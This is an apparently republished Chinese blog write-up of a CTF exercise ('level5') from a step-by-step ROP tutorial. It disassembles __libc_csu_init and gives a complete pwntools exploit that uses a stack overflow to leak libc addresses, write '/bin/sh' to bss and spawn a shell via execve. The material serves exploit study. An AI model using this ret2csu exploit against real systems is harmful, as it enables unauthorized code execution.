概述
这道题是来自蒸米的一步一步学ROP之linux_x64篇中的level5,主要考察的是中级ROP中的__libc_csu_init。
原理
__libc_csu_init这个函数是用来对libc进行初始化操作的,一般的程序都会调用libc函数,所以一般都会有这个函数。
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB ; 6: v3 = a3;
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 ; 7: v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry;
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC ; 8: init_proc();
.text:00000000004005EC call _init_proc
.text:00000000004005F1 ; 9: if ( v4 )
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 ; 11: v5 = 0LL;
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600 ; 13: ((void (__fastcall *)(_QWORD, __int64, __int64))_frame_dummy_init_array_entry[v5++])(a1, a2, v3);
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D ; 14: while ( v5 != v4 );
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
注意400616位置,是分别对rbx,rbp,r12,r13,r14,r15进行赋值;在400600位置,是将r13,r14,r15d的值分别赋给rdx,rsi,edi然后访问[r12+rbx*8]。那么通过这个函数我们就可以控制这些寄存器的值并且调用我们想要调用的地址(具体原理略)。
题目
简单浏览一下程序,有一个栈溢出可以利用,没有system函数也没有/bin/sh,那么下面尝试一下利用__libc_csu_init这个万能gadgets来解题。
解题思路
(1)利用栈溢出执行 libc_csu_gadgets 获取 write 函数的真实地址(其他函数的真实地址也可以),并使得程序重新执行 main 函数
(2)根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址,一般来说题目会直接给出对应的.so文件,但是这里就直接用libcsearcher获取,通过第一步得到的真实地址计算出对应的偏移量获得其他函数的真实地址
(3)再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数
(4)再次利用栈溢出执行 libc_csu_gadgets 执行 execve(’/bin/sh’) 获取 shell
exp
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF('./level5')
p = process('./level5')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)
#利用栈溢出执行libc_csu_gadgets获取write函数地址
p.recvuntil('Hello, Worldn')
csu(0,1,write_got,8,write_got,1,main_addr)
#根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
write_addr = u64(p.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr' + hex(execve_addr))
#再次利用向 bss 段写入 execve 地址以及 '/bin/sh’ 地址
p.recvuntil('Hello, Worldn')
csu(0,1,read_got,16,bss_base,0,main_addr)
p.send(p64(execve_addr) + '/bin/shx00')
#再次利用执行 execve('/bin/sh') 获取 shell
p.recvuntil('Hello, Worldn')
csu(0,1,bss_base,0,0,bss_base + 8,main_addr)
p.interactive()
运行结果
总结
这道题目其实在wiki上面有更加详细的教程,我也是依葫芦画瓢写的脚本。
这道题主要考察的知识点就是__libc_csu_init函数gadgets的利用,需要认真看一下对应的汇编代码,并且搞清楚csu的每个参数应该放入的内容即可。除此之外关于这个函数还有很多更加深入的利用方法,这些以后做了题目再说。
吐槽
这道题一开始的时候exp无论怎么跑都跑不动,好像是libcsearcher出现了问题,后面就是不断的删掉libcsearcher然后重装。但是不知道是网络的原因还是GitHub的问题,总是无法下载成功后面只好放弃。等我重新把回收站里的libcsearcher找回来的时候发现exp又跑得动了……
面对这等玄学问题,我还能说什么呢?
不过我相信所有的玄学问题总有一个科学的解释,出现这个问题可能是我当时下载的时候注册表损坏了,后面一通重新下载又吧注册表搞好了(纯属猜测)。所以我决定以后要兼顾学一些基础一点的东西了,可能要从《深入理解计算机系统》和《汇编语言》开始学吧。未来也可能会写几篇关于学习这两本书的博客,具体看学的情况如何。
晚安~
最后
以上就是丰富毛衣为你收集整理的一步一步学 ROP 之 linux_x64 篇-level5原理题目解题思路exp运行结果总结吐槽的全部内容,希望文章能够帮你解决一步一步学 ROP 之 linux_x64 篇-level5原理题目解题思路exp运行结果总结吐槽所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复